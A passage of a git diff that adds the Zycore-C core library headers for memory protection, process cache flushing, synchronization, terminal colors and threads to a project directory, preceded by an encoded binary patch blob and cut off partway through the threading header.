z4AH>dD(zt^Ru&?S?F+2i$;lcZrz~28fq%%VjSMxOR$6#+FRRU}jZ9g1nJSq2rZBB# zV4bKv-mL23DqdI4H`m})szcMYvQ#j4mvZo8nC7!Jgjl0eTB6yz(pHYB>k%rR-JQm9 zWyQ2MR}u)9@O;+n402RxS$TeOAY4R!uhsRNj+U$9V7u5eUGLG&o_eH;42O%$r(uaJ zpE{{2lxd9d;Etm-6wfB2X2Z0to9NLRx-?Kw;P=t6l_ucoZOUxVV^s90+VED<) z7Z|d_zJ|e)pyfDYRW@;uHeWQ$iXWFSKHG{PpD=!e6@N;?_#7*KLc;i5D}G|a_>orp zq=fOKtoXcy@uRJHPr~>yR(yWK__0>JH(|WTiuWaq&$r_J3FEz1d_lr^pA}!2Fy0<# z7A1@?uzHq2!gzYGquJ3v=}Cl%i-4E>MP9<&l2r|C7t@uDi|G?EcZ{)ChxVQSsH zoy8q65=Ap^qWGubE?Hbacfdk)s&WM%i}hIGz=#H5TALzpd1;uIm!pwj)RRvm3!a%G zme#0{GC#G`kUyVxYIvSmMKLZ}(zJ*~>#uwV2y@4aNOQ))k>W1MeNdPeQGqb$9E_ko zG~}^%TM%u|I5@hPh6Cj^mE|-e)|_Z?EG_1Tc#?}8A=aE>a4apZg=v}JXBjr97J}=E zmIbEyi^G;`b24E@)6kQa6ENY2YI6d?vB5C649Lydf?!dCqL_J$NdV%_i2}#V@-PRj zVw?k%IaOd34F=7-Aa64OV9pY30A@{Gvb@Luj5$RRNum8VtUe&ZoDXnBfL07JenEse z0pJMCpQ9M$!575TpQkbansWeQJ`xf*9>3CJ1_q5lnUerUP4k6lD9G+m*}I3R_G}!DZFnJubOLa+C&yN#i*=Pc!`?iSa7DQ zs9@Q8vO+Q}C1GWdoFXM{ASI=_g`O;;l=P6-J~WLe4Y+C8o5E{8zqE)W)>e)rB=!uW zWPo-Jv3N-<@W^a0vOr5Dg{%-T6b+%o>I2G#6M`~95tQ=^sYqD4#Y-dJTEUaMKh(LW za90&2Pxlo^1K!4(SfHULUR75YrSI%yQ^QF~YwBniWwgAAMZy#wh**}f!NbLZeIry2 zwz#NQ|J6p7kk~9P*5B9 zbLx5`b;u*zL|PYAMeAzm3$3u3PB!zW)BFqjW6ibI^q^dA13hbmk~p3?T(Q(&q@<<6a+vnYBh-FHB)OQ}bK}%t zC6ks&dAA3Say&7L%Y+8garla!1H^SY>8D!(%`i&Yk+AB>&W0sVHiBIPl8{pNJ|xPG zWK;yH%|Jz*RK%K_8ycz55qlSDr2ka^SdsPWOWkX$^b&r;stH`v=CTlVG#R|%4f98)__ z;k{LYDBG&s6nj$?z7s=HwC7$*F3RG*B<2dCT^m{o^o2{|qjm@!-=7RF69x;5gZZ?WT1Kn&MYK9k`of%N ziZz6*!by6e1VE*_L5GEX6O;jOnphnUb*@cuG+w5V0yBf~9ek&SDEJx;ZHtI6=b&Iv zaM9Yv*{yT99Gi&7-Ukl8M!|g>zVIS@HxyQ_&}D93StYE||09slMS|dkT-G-)>-ea^=8X*WNg=?5goYZ>hN9+cOR0T9!Y4-4DAbF7&|+!Z1N9XYQ7ma zXxN({(HHSpe%ywdUCR!fdj3zR6yAFKOaaJ_uipZ5Ix&DsNtSO4y)yVsmfrG75UR~~&whWDkn_Vv5=v>q?d*h_`9hvfyO z)kptr+JTchHy!)lxg!tKt2p|&p{KcE##Q_7d~-#|W1jl{hYL>riGEO*<$u4n<({Wr z?Df-+si~*GoH3T#?QJZtUb>;}lpinj+&VaEQSR4O)I88xJGDz)jxg)Qk*==tKx?5xT_Lv>wiO^i-6vof>CX653SJzJ}rR(mMEp+dX)xcw_>gZABUt2BpmGnq$ZDV!3?pJD( z>6%TyJ{xbT`E8U@(&)C^*!(NCwQ?pK;=fi6T55Hi2C}5+OKSG`qHsr}IBgGg&w1gZ z<)5W5|IQWfwEVlI)_MCoJb-TX=ic;T6s>+noUC|kQK@-ewEFd;O<-5~Q-?f8&0=`Y0QV&eG8B9iT z2d6aAStflV3CV_^J~4VoHfGT0k$h%;v3C?Zv4Dw8xBGCQK!(&6iJBkLhxOUO}4xx^8pH3s1i9EJ4j5*Y8 zG6iWkks)2>wTs^yj9D~n%;lua)M$Xi(I|pbS(HlG z`Ds~n-k-1M(4?kkk90nFeB`H5;iWMegP@>G<}ytRVI}C2R>r1@OwtYqrS=G8Y?`Sx zL|j~-EDe;)Yp=Y4i#1#}!rN4l}Mq0EZuIG&CnI+oCJ8XZri<8(SU({UCZ7tyhtj_?CqBk4#_ z7ycHu_Jbws zME)T3b&+SO#&kDusN0804g|W?L5#DiA;C4@IG1# z?@ui}iDn5&hicWr=j~Qq!G=0;t3&b=ghRDDG!fBg?ItEV4f18G4#ZPi;4nj8lkan= zr97fZeMML6qzs2y^oMJd=lS%9P)+`hvYSgsw6i8U_N3#PbVLtYPe=5+4Rkz)j%Uyj z>1w5879Cg9@f13e-Zl>%ucjl?aTy(hbi9g=D26NOi1J4~iU~GE`@&hOG1HRGmS?HP z3QM-il93+CCCz-6YP@2}(1L`%4=mXymh6BfJ7~$0$zMcT@RN#yd#oi(w`8u4Nk+#J zNyswyOE@B+&v6?lL2;HsXDBDP;Ud+^)IA~0;!p9>mkxp<&cGO8$(9(sdtX=Bw)Vwu zf1a{p$piQ9ojkEWB?9BA!;j7CTNYGTCK{m8lO~m?Eymb1W6`MGj8Kf;kJA!MFY!q! zJ@+%)__FEXHyZ~mJ@K*0$DO+8i?Y{m_PqSoJrmC;eCZ!Y4?p+X*}dNlb?{Wq7_s@? zPdY~Z1NNOc()`Kh3x;34r0UyYbIqTaK63nxw~tx2;KtwPr--vD_j*vDqDrDDw+qi@ z=|O!W%gvbO^oi%NPTi450+gw$2Q^4P%S!5wqca3Iqg6d%yIr&B6X;8K#OS8eUQb8H z;5jV#5<&;ogEO$qfOLy~RhOJ(UeZxuMoNj>NS6}a#}GPLlBf{yr(ne$60{*R2+U^l zl8#CEfie2hqzEW6@dH|>b>zLH_5v@wbxMD+rYJFJ*oF@ZjL}};1#h=sOg8qsd)~2G zxDz5UMzhtKq_!=*{MRnk{mj8m0AVy+^dOjG>%lGi_t~rts5lCYF+CvyNf-J%+>5um zGG-Qi>ft!j8jaT0H$|hom}Xu?t1w}u<&Ef^)`n_RiVR-RWi<3%bH z5JklB>@lO$m2kMHI7erVmd|(MDbC*f6z7w@@uPwww10{dUR#L|H6(b7^BHQ0QNo=B zN27ptnU~-xPV_uM!n8>oT!x>zRDLp(L^R%@SFRG~@x$P7hj@-Ke{GMme-{qwXnVsj zJ|j#rT$%#1l-DEgF|{v(9BPgy%utE5(x?1XJ8%!tAAU6C3yDJ?#ZQH{!#zd{PNoL& z8JYkE^k9i_7zb{lCJ@2UivkXba4FQyyho9r^k5jz$QakI{Lp#dNn;o_Bzn3PcHbf# zz5Aa7S|RI8@HA?tBUNp{C4RcKJK>IzSW(V|OQ3J;f2hwxxRU=s-~9hjUkl;RZLcrE z)3Te|>r3#o>{cq0{?vZ7K=n;c5>4Ps`n#3>>i)~mztVI5;$4Ej!2_^Ja}RQhBa8)_ z137m3u$8c!{1Bb0l>nmYyKuN}C6(r87_JAz1}^!TVc(jBoIG|51N>K1~N$?p$wwljY9!_OD5QCPpQ{ zdYxHWfVG!3f9=xs|AULeho3DZnkeu}uGKz&-7@Zff7xG7`N?gtMmd#Q!)`i9N6^K1 zhCT=I8HSaRrShAXAxo8OnI+xtc)V!!n*noC;sJ7IV`nOs8&^D5w92h4LgHRHkp7Y- zm1u(9C9ry*T<2KvSZkLZ%;t4VQm_LG#nL7E-9fAXOD09DpA{q%F?bhl&c`!=J`Ndh z&v)^iA2(?iuZZCO>oSTi#u(k$g}WHCYp;ncpsR81) zAK0SO8t6<^ZnHc~HP%?Tbrvp}&c39-xC`rp1)x|Vo6a!)!I&e%%2mRATb*f7T9jQv zSeIev4r{-YNxuj^NT-jNPE!ec7Gs;JoA;z)?H21Q@E%-Gu{hmm)p{cD0J{vDkK=W` zQS|K$E3;s!P6E(u&ArKguAczp0enU*4(uFZFD4Vri_RQbx}vuI-*p z>`_hQWQq^e%`EyuFHlT>2ouP+P>rj4>tRA)XL*)tth8ho zS+XlF89Y_kxYLqhhAw19v?-KcwBqIXF(tIs)2D*xB7> zx_$|f+i%?rqXZ(*?ZU`9gzNJgvJda=!)WX~46n;SQ& zw=cbUY38fHf2H8;)T4L4{qg=Wx%Xds>=~CldE$gCH~7z3w)m!vJ69~3w|LXKOJ2P1 zu8Mc_A07V5RrxtDpL@mPrA==)tXVSX?=!CXZb|7&L)Wg0e}2=Zp0#`To=|uD=oc5h zaBy8H^3%|Z(M)=hs|f3*L}91-=S_<@Gs^DQ2Nx#3y%FH^Mc=I z1ITSwfOS+iZm?+Jc40}E{wqOUEQJQQ3;sfmWE|~%np_)a2qp{LE3|!}EKMTD?Sjt$ zyJ5$Utu|`_Nf449EKI`OF8B>tY1d?5Vzcr{f`E-1vZXBh;`UCzi_?jWMtVG(uO_gR=|qL7}T*Zims9 zGKWr<bF|>@BKSg^6>WtC5thd zEewHdTO-Dtv%ua&!?#-z7-M=%1QOK$;Wp8*BI0&!1zZdGa*4J~E7u{c`FNs8W#F4A zTA5c(vgW~g=C9*O&DO8mB>3GM9%LlaEcf5$G{?-XxOz4q#w?Y6ZyC$D4b3vCaL zQTE;1gOoy0HsO8=^$W_BBKrkp3MzH@h!Ovz{k`l_S-G_LKmq%EZrgc%r!VsLLT-xnrYc`5IuDw1IFj4P%FP&v~=!>^Joi5;zpP_^tGEM#*_hvj{j@= ztA+5t^~H;d7(M#a*br!#)0o*z&xuetK!3OepjGv7ZM*WJ9LPb|-QZC6mN zY4xDUX@}aNp(h}GRq?9IV%lG+qi^HZH&xa(%s(q@bXN9=oP2*q&gjvjGIB@z@-xQf z7mUsD`m#K}oSd;^{aGWHX2$EAXaICd8oKX&lmZcspn)vjN~*t&)LRju=RD{OIup{2 z>V-AGu8@q_qL@)Qu5v+3Wrepg(%4wnQdttF)9l>L5o0n(jLpf(shnNgP+8R25~mk3 zRnk{jDytXJcQ9KrL2VbrnkbcHn;zlfa?MI0?@Se5WPgG;FUT{9;N?6)y&e>36IX{K6BmYYduGsUKJ>YC~3 zC43gmfo;7Ngl{IzwUjoYFPpxpn`Qmc;DQDsF3w||u??iPPDwrNR}&kS5t?a0@1hjM zsDyw-uA2yhl+QKhVY-q)mQJtqO{Z1HELuGoL;j63{H0SqkOOB4WwKS8>`<6UlMffw zt+0XGfn~Goa3xAwO=~87SG11)A(U}hml3~_q^+bmuH^84UdFjx#=5@tCEdQ9eUuJ* ziyWo3*-E+XSy+Wfe;1)xcuEVUyh`%}Bl*tcylQ&qaAs}I#^#@mpMOS+$eR!<)2~vAD7kY6#xJL literal 0 HcmV?d00001 diff --git a/Theodosius/Zycore/API/Memory.h b/Theodosius/Zycore/API/Memory.h new file mode 100644 index 0000000..c5fa8a9 --- /dev/null +++ b/Theodosius/Zycore/API/Memory.h @@ -0,0 +1,134 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * @brief + */ + +#ifndef ZYCORE_API_MEMORY_H +#define ZYCORE_API_MEMORY_H + +#include +#include +#include +#include + +#if defined(ZYAN_WINDOWS) +# include +#elif defined(ZYAN_POSIX) +# include +#else +# error "Unsupported platform detected" +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanMemoryPageProtection` enum. + */ +typedef enum ZyanMemoryPageProtection_ +{ +#if defined(ZYAN_WINDOWS) + + ZYAN_PAGE_READONLY = PAGE_READONLY, + ZYAN_PAGE_READWRITE = PAGE_READWRITE, + ZYAN_PAGE_EXECUTE = PAGE_EXECUTE, + ZYAN_PAGE_EXECUTE_READ = PAGE_EXECUTE_READ, + ZYAN_PAGE_EXECUTE_READWRITE = PAGE_EXECUTE_READWRITE + +#elif defined(ZYAN_POSIX) + + ZYAN_PAGE_READONLY = PROT_READ, + ZYAN_PAGE_READWRITE = PROT_READ | PROT_WRITE, + ZYAN_PAGE_EXECUTE = PROT_EXEC, + ZYAN_PAGE_EXECUTE_READ = PROT_EXEC | PROT_READ, + ZYAN_PAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE + +#endif +} ZyanMemoryPageProtection; + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the system page size. + * + * @return The system page size. + */ +ZYCORE_EXPORT ZyanU32 ZyanMemoryGetSystemPageSize(); + +/** + * Returns the system allocation granularity. + * + * The system allocation granularity specifies the minimum amount of bytes which can be allocated + * at a specific address by a single call of `ZyanMemoryVirtualAlloc`. + * + * This value is typically 64KiB on Windows systems and equal to the page size on most POSIX + * platforms. + * + * @return The system allocation granularity. + */ +ZYCORE_EXPORT ZyanU32 ZyanMemoryGetSystemAllocationGranularity(); + +/* ---------------------------------------------------------------------------------------------- */ +/* Memory management */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Changes the memory protection value of one or more pages. + * + * @param address The start address aligned to a page boundary. + * @param size The size. + * @param protection The new page protection value. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanMemoryVirtualProtect(void* address, ZyanUSize size, + ZyanMemoryPageProtection protection); + +/** + * Releases one or more memory pages starting at the given address. + * + * @param address The start address aligned to a page boundary. + * @param size The size. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanMemoryVirtualFree(void* address, ZyanUSize size); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#endif /* ZYCORE_API_MEMORY_H */ diff --git a/Theodosius/Zycore/API/Process.h b/Theodosius/Zycore/API/Process.h new file mode 100644 index 0000000..0b6a5c6 --- /dev/null +++ b/Theodosius/Zycore/API/Process.h @@ -0,0 +1,67 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * @brief + */ + +#ifndef ZYCORE_API_PROCESS_H +#define ZYCORE_API_PROCESS_H + +#include +#include +#include + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + + + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * @brief Flushes the process instruction cache. + * + * @param address The address. + * @param size The size. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanProcessFlushInstructionCache(void* address, ZyanUSize size); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#endif /* ZYCORE_API_PROCESS_H */ diff --git a/Theodosius/Zycore/API/Synchronization.h b/Theodosius/Zycore/API/Synchronization.h new file mode 100644 index 0000000..8414a44 --- /dev/null +++ b/Theodosius/Zycore/API/Synchronization.h @@ -0,0 +1,133 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * @brief + */ + +#ifndef ZYCORE_API_SYNCHRONIZATION_H +#define ZYCORE_API_SYNCHRONIZATION_H + +#ifndef ZYAN_NO_LIBC + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +#if defined(ZYAN_POSIX) + +#include + +/* ---------------------------------------------------------------------------------------------- */ +/* Critical Section */ +/* ---------------------------------------------------------------------------------------------- */ + +typedef pthread_mutex_t ZyanCriticalSection; + +/* ---------------------------------------------------------------------------------------------- */ + +#elif defined(ZYAN_WINDOWS) + +#include + +/* ---------------------------------------------------------------------------------------------- */ +/* Critical Section */ +/* ---------------------------------------------------------------------------------------------- */ + +typedef CRITICAL_SECTION ZyanCriticalSection; + +/* ---------------------------------------------------------------------------------------------- */ + +#else +# error "Unsupported platform detected" +#endif + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Critical Section */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Initializes a critical section. + * + * @param critical_section A pointer to the `ZyanCriticalSection` struct. + */ +ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionInitialize(ZyanCriticalSection* critical_section); + +/** + * Enters a critical section. + * + * @param critical_section A pointer to the `ZyanCriticalSection` struct. + */ +ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionEnter(ZyanCriticalSection* critical_section); + +/** + * Tries to enter a critical section. + * + * @param critical_section A pointer to the `ZyanCriticalSection` struct. + * + * @return Returns `ZYAN_TRUE` if the critical section was successfully entered or `ZYAN_FALSE`, + * if not. + */ +ZYCORE_EXPORT ZyanBool ZyanCriticalSectionTryEnter(ZyanCriticalSection* critical_section); + +/** + * Leaves a critical section. + * + * @param critical_section A pointer to the `ZyanCriticalSection` struct. + */ +ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionLeave(ZyanCriticalSection* critical_section); + +/** + * Deletes a critical section. + * + * @param critical_section A pointer to the `ZyanCriticalSection` struct. + */ +ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionDelete(ZyanCriticalSection* critical_section); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYAN_NO_LIBC */ + +#endif /* ZYCORE_API_SYNCHRONIZATION_H */ diff --git a/Theodosius/Zycore/API/Terminal.h b/Theodosius/Zycore/API/Terminal.h new file mode 100644 index 0000000..17dc384 --- /dev/null +++ b/Theodosius/Zycore/API/Terminal.h @@ -0,0 +1,163 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file Provides cross-platform terminal helper functions. + * @brief + */ + +#ifndef ZYCORE_API_TERMINAL_H +#define ZYCORE_API_TERMINAL_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef ZYAN_NO_LIBC + +/* ============================================================================================== */ +/* VT100 CSI SGR sequences */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +#define ZYAN_VT100SGR_RESET "\033[0m" + +/* ---------------------------------------------------------------------------------------------- */ +/* Foreground colors */ +/* ---------------------------------------------------------------------------------------------- */ + +#define ZYAN_VT100SGR_FG_DEFAULT "\033[39m" + +#define ZYAN_VT100SGR_FG_BLACK "\033[30m" +#define ZYAN_VT100SGR_FG_RED "\033[31m" +#define ZYAN_VT100SGR_FG_GREEN "\033[32m" +#define ZYAN_VT100SGR_FG_YELLOW "\033[33m" +#define ZYAN_VT100SGR_FG_BLUE "\033[34m" +#define ZYAN_VT100SGR_FG_MAGENTA "\033[35m" +#define ZYAN_VT100SGR_FG_CYAN "\033[36m" +#define ZYAN_VT100SGR_FG_WHITE "\033[37m" +#define ZYAN_VT100SGR_FG_BRIGHT_BLACK "\033[90m" +#define ZYAN_VT100SGR_FG_BRIGHT_RED "\033[91m" +#define ZYAN_VT100SGR_FG_BRIGHT_GREEN "\033[92m" +#define ZYAN_VT100SGR_FG_BRIGHT_YELLOW "\033[93m" +#define ZYAN_VT100SGR_FG_BRIGHT_BLUE "\033[94m" +#define ZYAN_VT100SGR_FG_BRIGHT_MAGENTA "\033[95m" +#define ZYAN_VT100SGR_FG_BRIGHT_CYAN "\033[96m" +#define ZYAN_VT100SGR_FG_BRIGHT_WHITE "\033[97m" + +/* ---------------------------------------------------------------------------------------------- */ +/* Background color */ +/* ---------------------------------------------------------------------------------------------- */ + +#define ZYAN_VT100SGR_BG_DEFAULT "\033[49m" + +#define ZYAN_VT100SGR_BG_BLACK "\033[40m" +#define ZYAN_VT100SGR_BG_RED "\033[41m" +#define ZYAN_VT100SGR_BG_GREEN "\033[42m" +#define ZYAN_VT100SGR_BG_YELLOW "\033[43m" +#define ZYAN_VT100SGR_BG_BLUE "\033[44m" +#define ZYAN_VT100SGR_BG_MAGENTA "\033[45m" +#define ZYAN_VT100SGR_BG_CYAN "\033[46m" +#define ZYAN_VT100SGR_BG_WHITE "\033[47m" +#define ZYAN_VT100SGR_BG_BRIGHT_BLACK "\033[100m" +#define ZYAN_VT100SGR_BG_BRIGHT_RED "\033[101m" +#define ZYAN_VT100SGR_BG_BRIGHT_GREEN "\033[102m" +#define ZYAN_VT100SGR_BG_BRIGHT_YELLOW "\033[103m" +#define ZYAN_VT100SGR_BG_BRIGHT_BLUE "\033[104m" +#define ZYAN_VT100SGR_BG_BRIGHT_MAGENTA "\033[105m" +#define ZYAN_VT100SGR_BG_BRIGHT_CYAN "\033[106m" +#define ZYAN_VT100SGR_BG_BRIGHT_WHITE "\033[107m" + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Declares the `ZyanStandardStream` enum. + */ +typedef enum ZyanStandardStream_ +{ + /** + * The default input stream. + */ + ZYAN_STDSTREAM_IN, + /** + * The default output stream. + */ + ZYAN_STDSTREAM_OUT, + /** + * The default error stream. + */ + ZYAN_STDSTREAM_ERR +} ZyanStandardStream; + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * Enables VT100 ansi escape codes for the given stream. + * + * @param stream Either `ZYAN_STDSTREAM_OUT` or `ZYAN_STDSTREAM_ERR`. + * + * @return A zyan status code. + * + * This functions returns `ZYAN_STATUS_SUCCESS` on all non-Windows systems without performing any + * operations, assuming that VT100 is supported by default. + * + * On Windows systems, VT100 functionality is only supported on Windows 10 build 1607 (anniversary + * update) and later. + */ +ZYCORE_EXPORT ZyanStatus ZyanTerminalEnableVT100(ZyanStandardStream stream); + +/** + * Checks, if the given standard stream reads from or writes to a terminal. + * + * @param stream The standard stream to check. + * + * @return `ZYAN_STATUS_TRUE`, if the stream is bound to a terminal, `ZYAN_STATUS_FALSE` if not, + * or another zyan status code if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanTerminalIsTTY(ZyanStandardStream stream); + +/* ============================================================================================== */ + +#endif // ZYAN_NO_LIBC + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_API_TERMINAL_H */ diff --git a/Theodosius/Zycore/API/Thread.h b/Theodosius/Zycore/API/Thread.h new file mode 100644 index 0000000..b1ec085 --- /dev/null +++ b/Theodosius/Zycore/API/Thread.h @@ -0,0 +1,244 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * @brief + */ + +#ifndef ZYCORE_API_THREAD_H +#define ZYCORE_API_THREAD_H + +#ifndef ZYAN_NO_LIBC + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +#if defined(ZYAN_POSIX) + +#include + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanThread` data-type. + */ +typedef pthread_t ZyanThread; + +/** + * Defines the `ZyanThreadId` data-type. + */ +typedef ZyanU64 ZyanThreadId; + +/* ---------------------------------------------------------------------------------------------- */ +/* Thread Local Storage (TLS) */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanThreadTlsIndex` data-type. + */ +typedef pthread_key_t ZyanThreadTlsIndex; + +/** + * Defines the `ZyanThreadTlsCallback` function prototype. + */ +typedef void(*ZyanThreadTlsCallback)(void* data); + +/** + * Declares a Thread Local Storage (TLS) callback function. + * + * @param name The callback function name. + * @param param_type The callback data parameter type. + * @param param_name The callback data parameter name. + */ +#define ZYAN_THREAD_DECLARE_TLS_CALLBACK(name, param_type, param_name) \ + void name(param_type* param_name) + +/* ---------------------------------------------------------------------------------------------- */ + +#elif defined(ZYAN_WINDOWS) + +#include + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanThread` data-type. + */ +typedef HANDLE ZyanThread; + +/** + * Defines the `ZyanThreadId` data-type. + */ +typedef DWORD ZyanThreadId; + +/* ---------------------------------------------------------------------------------------------- */ +/* Thread Local Storage (TLS) */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanThreadTlsIndex` data-type. + */ +typedef DWORD ZyanThreadTlsIndex; + +/** + * Defines the `ZyanThreadTlsCallback` function prototype. + */ +typedef PFLS_CALLBACK_FUNCTION ZyanThreadTlsCallback; + +/** + * Declares a Thread Local Storage (TLS) callback function. + * + * @param name The callback function name. + * 